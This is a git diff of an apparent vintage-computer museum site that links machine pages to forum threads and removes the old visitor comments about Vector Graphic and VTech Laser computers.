623c07fc..51e3d231 100644 --- a/content/museum/vector-graphics-mz.md +++ b/content/museum/vector-graphics-mz.md @@ -61,6 +61,7 @@ params: value: About $4800 tabs: - links + forum_thread: 780 links: - title: Vector Graphics 1976 - 1984 url: http://www.vectorgraphics.org.uk @@ -68,33 +69,6 @@ params: - title: VECTOR-GRAPHIC List url: http://h-net.msu.edu/cgi-bin/wa?A0=VECTOR-GRAPHIC text: mailing list for Vector Graphic computers - comments: - - author: Vincent Sabio (Reston, VA) - date: Sunday 28th October 2018 - text: |- - Jay writes, "It did, in fact, have a rough graphic facility. Each character cell was divided into six parts, and by changing the character ROM offset you could draw monochrome graphics with 160 x 72 resolution." - - "Rough" is a good word for it. As I recall, the monitor display was memory mapped $ but there was a bug in the mapping that caused several of the memory locations to display in the wrong place on the monitor. I wrote a subroutine that took in the \*intended\* screen location, made any necessary corrections to the coordinates, and wrote to the correct$ed$ areas of the memory map to get the intended pixels to display properly. - - To be sure, the vast majority of pixels displayed properly. There was only a handful that displayed wrong $ but enough to mess things up. - - author: Claus Buchholz (Michigan) - date: Sunday 12th May 2013 - text: I worked at New Dimensions in Computing in East Lansing where we sold Vector Graphics (and Exidys and Ataris). They used some CP/M accounting programs on the Vector Graphic, including a buggy sales tax program in MS BASIC. They asked me to fix it and that''s when I learned about inexact decimal values in binary floating point numbers (as opposed to Atari''s exact BCD values). I added some rounding and fixed the bug. - - author: J.T. Barbarese (Philadelphia, PA, USA) - date: Sunday 24th April 2005 - text: I wrote using Memorite running under CP/M on a Vector Graphic System Z from 1984 until it became impossible to port files or support the hardware. In 1987 I found a man in Florida who offered to transfer from hard-sectored floppies at a ridiculous rate, so I spent 20 hours porting files over the parallel (printer) port (from the Vector to a 286 machine), using pip.com. ("pip a:\*.\* > com1:"-- I think) It worked, but Still miss Memorite! - - author: Bill Schneberg (Ventura, California) - date: Tuesday 16th November 2004 - text: I have several Vector MZ's and Vector 3's. My original Vector MZ was purchased in June of 1980. It was configured as a System B (Two floppies, software, and a Qume impact letter quality printer). I still use one of the machines to this day. - - author: Julio Sánchez (madrid) - date: Monday 8th March 2004 - text: |- - workked with this equipment until the arrival of the Pc.\ - At the company where I worked we where runnig accounting an word procesing. The last configuration we had was a multiuser CPM with 3 stations sharing a 8" winchester.\ - The software was wrote in basic and I compile some modules except one because the compiler had a bug and with the next version of the compiler the size of the program was very big and can´t fit in memory. Old Days! - - author: Ivan Andrews (London, UK) - date: Monday 9th February 2004 - text: We had a bunch of these machines back in the mid-80s, and I still have some hard-sectored floppies. Does anyone know of any company that can read these? They are standard 5.25, CPM 2.2 disks, but with 16 sector holes. It would be good to get back the source code that is still on them! related: - /museum/vector-graphics-vector-1 - /museum/vector-graphics-vector-3-vip diff --git a/content/museum/vector-graphics-vector-1.md b/content/museum/vector-graphics-vector-1.md index 7c8e7e84..ac4dee68 100644 --- a/content/museum/vector-graphics-vector-1.md +++ b/content/museum/vector-graphics-vector-1.md @@ -64,6 +64,7 @@ params: - photos - adverts - links + forum_thread: 557 photos: - title: 1+ VERSION subtitle: '' @@ -85,16 +86,6 @@ params: - title: VECTOR-GRAPHIC List url: http://h-net.msu.edu/cgi-bin/wa?A0=VECTOR-GRAPHIC text: mailing list for Vector Graphic computers - comments: - - author: Janet (USA) - date: Wednesday 18th March 2009 - text: I worked there from Apirl 1978 to may 81. It was orange and green. When I began working there we began producing the Mz which was tan and black. There were lots of complaints about the orange and green colors so they (Lore and Carole) decided to go with something more neutral. Some of the comments were that only women with come up with that color scheme. - - author: Bob (USA) - date: Wednesday 5th January 2011 - text: I have an Orange Vector Graphics 1+ that is still working and controls my Yaesu FT767-GX amateur radio transceiver. It has a 5 1/4" floppy disk drive, and a Z80 processor. I bought it in kit form and assembled it, including all the S-100 boards sometime around 1978-1979. I used a Soroc IQ120 terminal with it then but later switched to a HP 700/41 terminal. - - author: Jack Tumblin (Evanston, IL) - date: Wednesday 26th April 2006 - text: I bought one of these second-hand in 1980 (in LA), but the case was deep green instead of orange. Was orange an earlier model? related: - /museum/vector-graphics-mz - /museum/vector-graphics-vector-3-vip diff --git a/content/museum/vector-graphics-vector-3-vip.md b/content/museum/vector-graphics-vector-3-vip.md index ca619fdc..764dc485 100644 --- a/content/museum/vector-graphics-vector-3-vip.md +++ b/content/museum/vector-graphics-vector-3-vip.md @@ -59,6 +59,7 @@ params: tabs: - photos - links + forum_thread: 778 photos: - title: SYSTEM subtitle: '' @@ -87,60 +88,6 @@ params: - title: VECTOR-GRAPHIC List url: http://h-net.msu.edu/cgi-bin/wa?A0=VECTOR-GRAPHIC text: mailing list for Vector Graphic computers - comments: - - author: Samuel Lilly (USA) - date: Tuesday 6th October 2020 - text: I have one of these machines. The keyboard need new pads. It has 64k but needs a cpm or basic boot disk. How do I make or get one? - - author: Jerri Kohl (NEK, Vermont, US) - date: Saturday 8th September 2018 - text: I have read conflicting information about whether this model had any graphics modes (or even a redefinable character set). Can anyone clear this up? I''m sure Dennis Wingo could. - - author: jon (usa ) - date: Monday 12th March 2018 - text: i have one and all i get is a screen that says vector graphic screen version 4.0 i dont know how to make the floppy drive spin when i hit the b key i get boot floppy but nothing at all anyone know how to operate one of them - - author: Ken Williamson (Thailand) - date: Sunday 11th September 2016 - text: I bought a Vector 3 with two floppy drives and a Spinwriter printer that was hard wired to the I/O board with a 1" diameter cable. If you moved the system, everything had to be carried together. I bought to do spreadsheets. Execuplan was a little buggy$ you had to do column and row operations in a certain order or you started over. But, the most fun I had was adding a 32K memory board in order to run an early medical billing software application. You had to cut a trace from the new board to the BUS then solder a jumper between the two boards, which yielded a total of 56K of memory, I think. Latter I became a CompuPro Dealer, which was an awesome machine. - - author: Barry Coopersmith (Florida) - date: Thursday 18th June 2015 - text: I have a vector 3 computer with dual 400k floppy drives and cords. I also have software, Memorite word processor, Payroll, spread sheet and general ledger. If anyone is interested, give me a holler at above e-mail. .... Barry - - author: Barry Coopersmith (Florida) - date: Thursday 18th June 2015 - text: I have a vector 3 computer with dual 400k floppy drives and cords. I also have software, Memorite word processor, Payroll, spread sheet and general ledger. If anyone is interested, give me a holler at above e-mail. .... Barry - - author: Andrew Lynch (Ohio) - date: Sunday 18th November 2007 - text: |- - The is a mailing list for Vector Graphic computers if you are interested in them. All VG related topics welcome. - - Please join us at: - - http://h-net.msu.edu/cgi-bin/wa?A0=VECTOR-GRAPHIC - - Thanks! - - Andrew Lynch - - author: van Treek, Mike (Belgium) - date: Monday 20th August 2007 - text: When I was 11 years old I follow my first computer formation, in Rancagua (Chile). The Vector 3 was the first PC that I use, in 1986. It's funny to see it after 21 years... in a museum. I getting older? - - author: Thomas Hardy (USA) - date: Friday 6th July 2007 - text: |- - 1982 - I was using this computer at a magazine publishers. We used DBASE2, Memorite III and were connected via Centronics interface, to a large, wide, noisy Mannesman Tally dot-matrix printer for printing subscription labels every month. - - If I can remember rightly, we either had an external 5 or a 10 megabyte hard drive. Backups were very, very slow every month with the boxes of 5 1/4" floppy disks. - - author: Mike (Rock Hill, SC) - date: Wednesday 4th October 2006 - text: '"Vector Graphics" was the name of the company, not the name of this particular computer.' - - author: Stephen Knotts (USA) - date: Monday 29th November 2004 - text: |- - Why was it called "Vector Graphics" if it has no graphic modes? - - Can some expert answer my question? - - OK Bye - - author: Glyn Cowan (Glasgow Scotland uk) - date: Tuesday 11th March 2003 - text: I think I had one of these I still have the large folder with the operating instructions and imformation on how the various programms that came with it worked. The reason I am not sure is that although mine looked the same it had a duel 5 1/4 inch disc drives in a seperate unit related: - /museum/vector-graphics-mz - /museum/vector-graphics-vector-1 diff --git a/content/museum/vector-graphics-vector-4.md b/content/museum/vector-graphics-vector-4.md index fe8b82af..945f6200 100644 --- a/content/museum/vector-graphics-vector-4.md +++ b/content/museum/vector-graphics-vector-4.md @@ -55,6 +55,7 @@ params: tabs: - photos - links + forum_thread: 257 photos: - title: SINGLE BOARD COMPUTER subtitle: '' @@ -84,81 +85,6 @@ params: - title: VECTOR-GRAPHIC List url: http://h-net.msu.edu/cgi-bin/wa?A0=VECTOR-GRAPHIC text: mailing list for Vector Graphic computers - comments: - - author: Dennis Wingo (Huntsville, Alabama) - date: Friday 28th December 2007 - text: |- - Hey Jeff, this is Dennis Wingo, used to work in Engineering. If any of you guys want to get rid of your Vector 4 let me know. - - Dennis - - author: Jeff Grossman (Los Angeles, CA) - date: Wednesday 9th November 2005 - text: |- - I still have an new Vector 4 in storage. I should since I was one of the key Operation Systems developers at Vector Graphics. - - Amazing that there are still a few of these in operation. All-in-all they were a great machine for a specific niche market (Word processing, spreadhseet, and simple accounting through Peachtree). - - author: Michael Swanson (Portland, OR, USA) - date: Tuesday 1st May 2012 - text: I was given this computer as a second-hand gift when I was thirteen years old in 1985. I had no idea what to do with it or how to operate it, but one day I was messing around with it, thinking of the movie Wargames, and typed in "PRESIDENTIAL SECURITY SYSTEM" for no other reason than being thirteen. I was met with an "illegal operation" error message. I stared in horror at the screen, thinking$despite having no modem$that I had been caught by the Secret Service! I pulled the power plug out of the wall and spent the next few days waiting for a knock on the door. I refused to turn it back on for weeks after that! - - author: You De Mann (England) - date: Thursday 28th April 2022 - text: http://www.youtube.com/watch?v$zsjTpFR0oYQ please help we have zx spectrum 48k and one 128k program running at 6mhz using external ram and snapper discs from velesoft site - - author: Kurt Gross - date: Tuesday 11th August 2020 - text: I have an old Vector 4 or 4S. Is it worth anything? If interested email me at wings@wctc.net - - author: Jody Tallal (United States) - date: Thursday 15th February 2018 - text: |- - Back in the early 1980''s I hired a small programming company to create a complete personal financial planning software system to create financial plans instead of doing it manually. The only machine at the time that could handle what we needed to do was a Vector 4. - - I still have that original machine but have lost the keyboard. It boots up fine except for the KB error. - - I am trying to find a keyboard that will work and it appears to be impossible to find one made for this computer. Because it has a RJ11 interface I am wondering if other keyboards of that era that have RJ11 plugs will work. I have found a HP 2392 2394 Terminal Keyboard and a Vintage Wyse 901876-01 RJ-11 Terminal Keyboard (US/UK ASCII). Does anyone know if either of those two KBs would work with my Vector 4 box? If not, any suggestions of what else I might to to get a keyboard that can work with this machine? - - Thanks - - author: tim hovey - date: Thursday 13rd October 2016 - text: E-mail if interested in buying is thovey@proactinc.org - - author: TIm Hovey (Minnesota/ US) - date: Thursday 13rd October 2016 - text: Dennis Wingo or anyone else I have a I have a Vector 4 I am looking to sell. We are an R2 recycler and would be selling this as an untested collectable - - author: Paul Nourse (Milwaukee, Wi) - date: Friday 24th January 2014 - text: |- - Hi guys, worked at Vector Graphics Ventu Park in the mid 80''s. Nice group of people. It was so sad watching assets being sold off. :-(\ - I still have one of the Tektronix oscilloscopes they were selling off near the end. Sad end to a great company. - - author: quisizyx (Oklahoma,USA) - date: Wednesday 10th July 2013 - text: |- - Greets- I''m amazed that there are still Vectors out there running. I had a Vector 4S as my very first personal computer. I discovered the trace on the MB that you could cut or bridge to get either the Z80 or the 8088. I put in a micro switch on the side so I could easily boot either OS. The 16 hard sector floppies were a pain tho.\ - I started on a TRS-80 Level 1 16K for our family business. We later got 8088 clone. The Vector was my very first all my own. I have kept most of the boxes that I used thru the yrs. This 1 I didn''t. If any1 has 1 4 sale... - - author: Kim Barry (USA) - date: Saturday 27th April 2013 - text: I have two Vector Graphic 4 systems and am interested in selling them. Both are fully operable and have software (MEMORITE +). Is there a market for these? - - author: mj pierce (Dallas, TX, USA) - date: Sunday 6th January 2013 - text: I purchased a Vector Graphics in 1982 because you could run multiple workstations at the same time. I had four machines hooked together and ran accounting, word processing and spreadsheet applications at the same time.. only problem was, each others data got in each others data! VG engineers came to sort it out. For awhile, software vendors pointed at hardware, hardware pointed at software. In the end... they believed it was "dirty power" - voltage spikes! I often wondered if some internal computing processing had problems with slicing how it shared memory or something. No matter, at the time it was cheaper than the $12K per machine I had paid in 1980 for Wang word processors. And with the VG I could have multiple people working on the one machine at the same time. Just had to be careful to make sure each person saved their data at separate times. Overall it was a great machine. - - author: Greg quinn (Kansas City, MO, USA) - date: Friday 25th May 2012 - text: 'In the mid-80''''s, the firm i worked for as the controller bought a Vector Graphic 4 switching our accounting system over from pen ''''n ink (or even a Pegboard system). It had a 5 Mb hard drive and 1 floppy drive used for backups. We bought and installed CYMA as our accounting software$ we utilized only G/L, A/P and A/R and this fulfilled our accounting to a "tee." We loved the keyboard (over the IBM-PC''''s) and the processing speed was certainly fast enough for us. We had only one user, my accounting assistant, enter data, but I did the financials, etc. Bottomline: Loved it.' - - author: Bill Hicks (New York) - date: Friday 4th May 2012 - text: I had one of these in 1991 that I brought for $100. I was heavy into CP/M and felt this would be a good start switching to the MS DOS world as it did both.The first day I had it I was exploring the C drive, seeing what was on there and decided to get rid of some junk on the hard drive. So at the C:$ prompt I typed del \*.\* to clean out the directory. I didnt realize I was in the root directory, CP/M didn''t have that it had user areas, and thought I was in the directory that had the files I wanted to $ so now I had a nice CP/M machine and a PC compatible system with no operating system. And since it used hard sector disks I wasnt able to find any boot disks to restore it. Other than that I loved the system. - - author: Randy Kiehl (Kerrville TX) - date: Thursday 20th October 2011 - text: Hello, if you remember I ran Maintenance after John Murray. John passed away last year. And Bill Lawson is at Polymetrics in Arlington TX. - - author: Sandra (Patterson, CA) - date: Tuesday 18th January 2011 - text: My husband started his computer business on the old Vectors. We still have 3 complete units that still run. Are they worth anything? - - author: Bryan Costin (Westminster, Maryland) - date: Monday 25th December 2006 - text: I have a Vector 4 in storage. I picked it up for free at a Hamfest years ago. I knew nothing about the machine but the sleek design of the machine was really intriguing. It looks like it belongs on the set of Space:1999. - - author: Micheal (Ga. USA) - date: Thursday 22nd May 2003 - text: I also have 3 Vector 4s and still run them to this day all with 10mb hdds soon to be 20mb as i just got a few old 20mb MFM-RLL drives. - - author: Derek Archer (Richland, WA) - date: Tuesday 17th December 2002 - text: I have a WORKING Vector 4 computer! I use it for experimenting with programming and stuff. I actually wrote a chess game for it! related: - /museum/vector-graphics-mz - /museum/vector-graphics-vector-1 diff --git a/content/museum/vectrix-vx-384.md b/content/museum/vectrix-vx-384.md index 8658d2a5..2aab8412 100644 --- a/content/museum/vectrix-vx-384.md +++ b/content/museum/vectrix-vx-384.md @@ -66,6 +66,7 @@ params: value: About $5000 tabs: - photos + forum_thread: 263 photos: - title: VECTRIX VX 384 MAIN UNIT subtitle: '' diff --git a/content/museum/victor-hc-6.md b/content/museum/victor-hc-6.md index 234f6ea0..28fd9ad9 100644 --- a/content/museum/victor-hc-6.md +++ b/content/museum/victor-hc-6.md @@ -69,6 +69,7 @@ params: - hardware - emulators - links + forum_thread: 1295 photos: - title: VICTOR HC-6 subtitle: '' diff --git a/content/museum/victor-v-saturn.md b/content/museum/victor-v-saturn.md index ac034681..12a8c187 100644 --- a/content/museum/victor-v-saturn.md +++ b/content/museum/victor-v-saturn.md @@ -10,6 +10,7 @@ params: tabs: - photos - links + forum_thread: 1241 photos: - title: V-SATURN subtitle: '' diff --git a/content/museum/video-technology-laser-100-110.md b/content/museum/video-technology-laser-100-110.md index 26e5b8c6..418da37e 100644 --- a/content/museum/video-technology-laser-100-110.md +++ b/content/museum/video-technology-laser-100-110.md @@ -63,6 +63,7 @@ params: value: Unknown tabs: - photos + forum_thread: 444 photos: - title: LARGE VIEW subtitle: '' @@ -93,22 +94,6 @@ params: • Peripheral connector\ • RF/TV output image: /media/museum/photos/videotech_laser110_rearside_s1.jpg - comments: - - author: John (australia) - date: Tuesday 24th August 2021 - text: Laser 100 was a TRS-80 copy, unlike the 200 In the 200 the ROMs are changed substantially and the memory locations are different. The extra commands equivalent to level II Tandy Basic on the 200 (which are in the extra 8 kb of the BASIC ROM) are different and were coded by VTech, they are not direct copies. The 100 afaik was not sold outside of the far east because it would violate Tandy''s copyrights. BTW, is there any reason why the VTech Creativision (aka Dick Smith Wizzard) is not listed ? They were a lot more common than the Laser 100. - - author: ohn (australia) - date: Tuesday 24th August 2021 - text: Laser 100 was a TRS-80 copy, unlike the 200 In the 200 the ROMs are changed substantially and the memory locations are different. The extra commands equivalent to level II Tandy Basic on the 200 (which are in the extra 8 kb of the BASIC ROM) are different and were coded by VTech, they are not direct copies. The 100 afaik was not sold outside of the far east because it would violate Tandy''s copyrights. BTW, is there any reason why the VTech Creativision (aka Dick Smith Wizzard) is not listed ? They were a lot more common than the Laser 100. - - author: ohn (australia) - date: Tuesday 24th August 2021 - text: Laser 100 was a TRS-80 copy, unlike the 200 In the 200 the ROMs are changed substantially and the memory locations are different. The extra commands equivalent to level II Tandy Basic on the 200 (which are in the extra 8 kb of the BASIC ROM) are different and were coded by VTech, they are not direct copies. The 100 afaik was not sold outside of the far east because it would violate Tandy''s copyrights. BTW, is there any reason why the VTech Creativision (aka Dick Smith Wizzard) is not listed ? They were a lot more common than the Laser 100. - - author: Christoph - date: Wednesday 31st October 2012 - text: There was a RAM extension module, which extended the memory by 16KB. It was a quite bulky unit to be plugged into the Laser computer. The price was about 160€ (for 16 KILObyte!!!!) - - author: Dinis (Austria) - date: Friday 25th May 2012 - text: I owned a Laser 110. As far as I remember it had 4KB of memory. oc_id: 448 source: url: https://web.archive.org/web/20230608154933/http://www.old-computers.com/museum/computer.asp?c=448 diff --git a/content/museum/video-technology-laser-128-128ex-128ex2.md b/content/museum/video-technology-laser-128-128ex-128ex2.md index 2c31e582..a0bb88f8 100644 --- a/content/museum/video-technology-laser-128-128ex-128ex2.md +++ b/content/museum/video-technology-laser-128-128ex-128ex2.md @@ -66,6 +66,7 @@ params: - photos - hardware - docs + forum_thread: 34 photos: - title: SYSTEM subtitle: '' @@ -165,74 +166,6 @@ params:  compiled/archived by Mark Frischknecht\  type of document : PDF\  source : [www.old-computers.com](http://jef.raskincenter.org/) - comments: - - author: Numanoid (Norway) - date: Sunday 25th April 2021 - text: In several ads in Compute! magazine during 1988, vendors off the Laser 128 offer it at less than USD400. So if the launch prize was USD700, it must have quickly started to fall. - - author: Adam (Flushing, MI) - date: Tuesday 22nd August 2006 - text: I had one of the PC XT Laser clones, which I got to replace my TRS-80 CoCo2. This was around 1989. I used the Laser in high school and my freshman year in college. I found it much more useful after getting an external 3.5" drive. Overall, not a bad system for the money. Light gaming (only CGA graphics), word processor, spreadsheet, etc. I actually ran some applications for some engineering courses on it, which saved me some trip to the computer lab. Something happened with the power supply and the computer quit booting. It would beep and go crazy. I dumped it in the attic at home and I think my mom ended up throwing it away. - - author: Alexei Udal (Seattle) - date: Friday 12th May 2006 - text: |- - Ron, just flip the switch on the keyboard from "40" to "80." - - As an aside, anyone else in the USA or Canada (or hell, even Mexico, just preferably somewhere in North America so I don't have to pay too much shipping) have the power supply for this? I found my old 128EX in my basement, but can't find the power supply. I'd build my own, but I want to avoid taking risks if possible. - - author: Mark Frischknecht (San Diego, California) - date: Sunday 11th December 2005 - text: The Laser 128/EX/EX/2 uses a 15Vdc 12amp 18w Power brick. Also the External slot was switchable from Slot 5 (Which Disables the extra ram) and Slot 7. Also on the EX/2 if the external slot was set to 5 then the internal 3 1/2 floppy was disabled. - - author: Ron (Columbus, Ohio) - date: Wednesday 20th July 2005 - text: I have a Laser 128EX. It is connected to a Packard Bell monitor. When I tyried to boot GEOS the message that appeared on the screen said "extended 80 column card needed". Where can I obtain such an animal? - - author: Peter Baillie (Scotland) - date: Friday 25th February 2005 - text: |- - Having recently bought a Laser 128 Apple IIC clone\ - I am in need of a copy of the Red User Guide \\Programming Manual. If anyone has one for sale or swap even a scanned copy would be nice. Even a swap got some retro books - - author: Taavi Burns (Canada) - date: Friday 27th February 2004 - text: |- - I have the user manual at home which contains the pinouts for all of the ports. I'll see about scanning and passing the important parts around in the next few days. - - I'd also be really interested in getting my hands on the Technical Manual, if anyone knows where I could get a copy. - - This page seems to have some good info on extracting files from disk\ - images:\ - http://home.tiscali.se/pausch/apple2/dsk.html\ - One of the links there might help you find out how to extract disk images, unless you feel like doing it the quick'n'dirty way:\ - http://www.skrenta.com/a2/snarf.txt - - author: Ben (Southern California) - date: Wednesday 28th January 2004 - text: |- - My wife has one of these, but no cables what-so-ever.\ - I'm fairly good at splicing/dicing/soldering, any idea where I could find documentation on what the cables should be/do so I can make my own? Or anywhere I could get cables that only require a few tweaks?\ - If I am successful, I'll post a link to a how-to w/ pictures here. - - author: J. Mclean (White Plains, NY) - date: Sunday 4th January 2004 - text: Does anyone have information on how to transfer Laser 128 data files to a PC? - - author: bhtooefr (Ohio, USA) - date: Sunday 23rd November 2003 - text: |- - I had one of these - a 128EX. I've heard the difference in the models was maximum clock speed. Anyway, mine broke down when someone bumped into the person using it at the time. It fscked the floppy drive! - - BTW, da, they used the same AC adapter as the Apple IIc - just a non-grounded, VTech branded one for the Laser. If you can find an Apple IIc power adapter, that'll work great (I had both a IIc and a 128EX, and I moved them around a lot, but I never had to move the PSUs with the computers). - - author: da (skow) - date: Saturday 4th October 2003 - text: anyone have a spare AC power adapter for a Laser 128 EX computer I seem to have lost mine. - - author: Blake Patterson (Alexanadria, VA) - date: Thursday 25th September 2003 - text: |- - I owned one of the earlier model Laser 128's... - - http://66.240.157.66/personal/randall/images/MVC00490.JPG - - ...that were generally more reliable than the newer models, pictured in this spread. I also had the card cage... - - http://www.trhonline.com/obscure/l128/allthree1.jpg - - ...that plugged into the single side-slot to offer two, sheilded slots that I used for a Mockingboard C sound board and a Prometheus ProModem 1200A. Good stuff. I got lots of use out of the machine and never felt it was any less of an Apple than any of the other Apple II's that I've gone through - it's expansion slot capabilities made it more of an Apple than my //c's. Ahh, nostalgia. - - blakespot oc_id: 13 source: url: https://web.archive.org/web/20230403152315/http://www.old-computers.com/museum/computer.asp?c=13 diff --git a/content/museum/video-technology-laser-200-210.md b/content/museum/video-technology-laser-200-210.md index dd2124c0..4672d78d 100644 --- a/content/museum/video-technology-laser-200-210.md +++ b/content/museum/video-technology-laser-200-210.md @@ -80,6 +80,7 @@ params: - emulators - links - docs + forum_thread: 167 photos: - title: DICK SMITH VZ-200 subtitle: '' @@ -369,60 +370,6 @@ params:  type of document : PDF\  size : 110 Ko\  source : [The VZ200](http://vz200.tripod.com) - comments: - - author: Cynde (Australia) - date: Wednesday 23rd March 2022 - text: Dianne, if you are interested in selling, I am looking to purchase a Vtech Laser 200. - - author: Dianne (Geelong, Australia) - date: Saturday 19th March 2022 - text: We are currently cleaning up an Estate and have found a Laser 200 in it''s box with (premium condition), including the User Manual and demonstration tape still with it, although there is no power chord / transformer. We still have to decide what we should do with it. - - author: Gavin (New Zealand ) - date: Sunday 28th August 2016 - text: 'My first computer, I wrote an emulator for the VZ200 here: http://www.gstsoftware.co.nz/' - - author: Frank - date: Thursday 16th June 2016 - text: The price for the computer 1984 in France was not 196 €. The Euro was implemented end of the millennium. The currency in France was franc in 1984. - - author: Krisztian (Hungary) - date: Sunday 17th April 2016 - text: |- - TO: "Saturday 19th October 2013 Frank (Germany)"\ - One is available here for some more days: http://szamitastechnika.vatera.hu/pc_asztali_szamitogep/retro_szamitogep_kiegeszito/egyeb/laser_color_computer_210_2236200248.html - - author: Martin (Hunsrueck / Germany) - date: Monday 28th July 2014 - text: |- - Yessss!\ - I just found one on eBay! And I won the auction!! - - Fantastic! - - author: Frank (Germany) - date: Saturday 19th October 2013 - text: |- - Iam looking for my old Laser210, it was my first computer 1984. If somebody knows where i can found them, please let me know. Also Lightpen or printer interface are interesting for me.\ - Frank - - author: Miroslav Werner (Czech Republic) - date: Wednesday 13rd March 2013 - text: Mine is brander VZ 200 colour computer, I think its the same stuff. - - author: Miroslav Werner (Czech Republic) - date: Wednesday 13rd March 2013 - text: I have one for sale. Or better, trade for brands I am more interested to (Sinclair, Amstrad, Amiga). - - author: Erik (France) - date: Monday 7th January 2013 - text: |- - I buy one because my shop was ZX81 out of stock and I have my all first programmer''s emotions with this machine. - - Because of this machine I spent 20 years of my life in the Video Games industry as programmer. The best years of my professionnal life ever.. - - author: Jeremy (Australia) - date: Monday 16th January 2012 - text: I still remember the different memory addresses, such as using "POKE 30744,1" to invert the colours in text mode. - - author: Wildrose (Greece) - date: Wednesday 31st August 2005 - text: |- - This machine was my very first 'computer' in age of 13!! I plug it to my B/W TV and i just look at the screen for 2 Hours...\ - That was my very first step in to computers world!!\ - Now i'm a Network Engineer/Cisco Expert in a big ISP. - - author: Erich Kitzmüller (Earth) - date: Monday 26th May 2003 - text: The keyboard of the Laser 210 was surprisingly good, better than on the Sinclair Spectrum. The largest problem was the lack of Software, there was next to nothing available on the market. In Text mode, only special block characters could be colored (8 colors), text was eighter white-on-green or white-on-amber. In graphic mode, every pixel could have (independently) on of four colors; there were two colorsets, Red-Green-Blue-White and Magenty-Cyan-Yellow-White. related: - /museum/dick-smith-vz200 - /museum/dick-smith-vz300 diff --git a/content/museum/video-technology-laser-2001.md b/content/museum/video-technology-laser-2001.md index 1611a9d7..28b02b60 100644 --- a/content/museum/video-technology-laser-2001.md +++ b/content/museum/video-technology-laser-2001.md @@ -68,6 +68,7 @@ params: - photos - hardware - software + forum_thread: 60 photos: - title: THE SALORA MANAGER subtitle: '' @@ -131,44 +132,6 @@ params: subtitle: from Video Technology text: Thanks to Patrick Selten for this picture image: /media/museum/hardware/vtech_laser2001_joystick1.jpg - comments: - - author: Scouter3d (Austria) - date: Wednesday 23rd June 2010 - text: Finally, after years of searching, i found the Pinout of the PSU for my Laser 2001 (thanks to Madrigal from Creativemu). I figured my Laser would have the same PSU as the CreatiVision Game, and i was right! (9V AC and 18V AC). But be carefull, there are different Versions of internal Laser PSU´s some need +5V DC, -5V DC and 12V DC ... There are some pictures at the Creativemu homepage. Greetings from Austria - - author: Olivier (France) - date: Tuesday 12th April 2005 - text: |- - Ask webmasters of this site :\ - http://www.pelikonepeijoonit.net/index.html - - I know they have a Salora Manager - - Or... use the Woozgotwat function of www.old-computers.com to find collectors having these systems:\ - http://www.old-computers.com/club/collectors/woozgotwat.asp - - Good luck - - author: scouter3d (austria) - date: Monday 11th April 2005 - text: |- - I am searching for the piunout of the Laser 2001 / Salora Manager Powersupply ... Please help !\ - Greetings TOM:-) - - author: Ansichrist // Antti Kolsi (Remorse1981) - date: Wednesday 12th November 2003 - text: |- - I have a Salora Manager too... It's a nice lil' machine. Only thing I'mmissing is a decent drawing program for it. - - Btw. hi, Eero. - - author: Eero Nevalainen (Finland) - date: Wednesday 6th August 2003 - text: |- - I am a proud owner of a Salora Manager, and as a programmer I would just love to get to code something for the machine. Of course there's the BASIC, but getting to do something directly in assembly would be great... alas, there are no real specs for the machine anywhere. - - Does anyone know of any in-depth programming information for the computer in question? The floppies seem like they could be written on a PC with a floppy drive, so this might offer a possibility to code and compile on a PC and then execute the result on the Salora (unless the thing only reads BASIC off floppies, of course)... anyone knows what sort of binary format the Salora wants to see on the floppy? - - Any info would be greatly appreciated, as it would rock to see what this old steam engine of a computer can do if pushed to the limit.. ;) - - author: Pertti Toivonen (Finland) - date: Tuesday 26th February 2002 - text: I've got an 'never used' Salora Manager. Anyone interested???? Mail me. software: - /software/demonstration-tape - /software/sonic-invader diff --git a/content/museum/video-technology-laser-3000.md b/content/museum/video-technology-laser-3000.md index 816c4296..dfd85648 100644 --- a/content/museum/video-technology-laser-3000.md +++ b/content/museum/video-technology-laser-3000.md @@ -65,6 +65,7 @@ params: tabs: - photos - adverts + forum_thread: 168 photos: - title: LASER 3000 subtitle: '' @@ -86,33 +87,6 @@ params: subtitle: '' text: '' image: /media/museum/pubs/vtech_laser3000_pub_s1.jpg - comments: - - author: TB99 - date: Wednesday 10th August 2022 - text: I had the vtech 3000 version sold in the USA. It didn''''t support Low-Res Apple II mode$this would show garble on the screen..Lots of freeware/Public domain software used this mode. Also, some of the ads in computer shopper implied it had 192k of RAM, when in reality, it only had 64k, so any 128K //c-//e software was out too. The Up arrow key didn''''t work in Apple II software, although it did seem to work in the enclosed "Magic //e" word processor. It also came with MagicMemory Database and MagicCalc spreadsheet. I couldn''''t get Ultima V to load on it, even though the box said 64k. I''''d say most high-res 64k games did work though. - - author: bryndal36 (Australia) - date: Friday 19th November 2021 - text: I got one for Christmas 1984 that came with a floppy disk drive as well. It actually had 48K ram but if you bought the 16k expansion/emulator, that brought it up to 64k and allowed you to load prodos. - - author: Gajendra Ratnam (Malaysia) - date: Wednesday 22nd December 2010 - text: |- - This was my first real computer. I was a fan of the Apple II. I wanted to play them Chopper, Centipede, Frogger and Zaxxon games. I ordered my unit from Dick Smith Sydney. - - Was an exciting moment in my life. The freight arrived from Sydney to Port Moresby, Papua New Guinea. My dad bought me the whole kit with the emulator, joystick, drives. I used it with a 14” colour television. Had a great time programming, paying games, composing music with the SOUND command. The CAT side had some special graphics modes and Sound options which were great. Loved those times. Graduated to Amiga 1000 after this. - - author: BlueBox - date: Sunday 31st October 2010 - text: I wanted a 3000 sooo bad because of its modular design. This picture does not show it with its drive. The drive was detached, so was everything else. I wound up getting a 128. I used to be able to hit ctl-break and read the programming. One fateful day, it all got locked doen and all we saw was code. This infuriated me. It was then I became a hacker. At that very moment. - - author: Milo Davies (New Zealand) - date: Friday 22nd January 2010 - text: |- - This was the first computer I owned. Purchased in New Zealand for NZ$1250 through Dick Smith Electronics. Dick Smith Electronics marketed it as the CAT. It was said to be 96$ compatible with the Apple IIe when the "Emulator Catridge" was installed. The documentation I had, claimed that the Emulator Catridge increased memory from 48KB to 64KB.\ - At the time, a genuine Apple IIe was at least double that price so it represented good value for money. I owned it for about 4 years and it proved to be reliable. - - author: Damian - date: Thursday 1st October 2009 - text: |- - I used to use this computer with an apple II emulator and it worked great. I did have a problem where two wires came undone in the back through wear and tear and if I bumped them together (like hot wiring a car) it would reset the computer. It was great. :) - - The word was this company folded due to legal pressure from Apple. Not how true that is thats what I''ve heard though. oc_id: 156 source: url: https://web.archive.org/web/20230605033117/http://www.old-computers.com/museum/computer.asp?c=156 diff --git a/content/museum/video-technology-laser-310.md b/content/museum/video-technology-laser-310.md 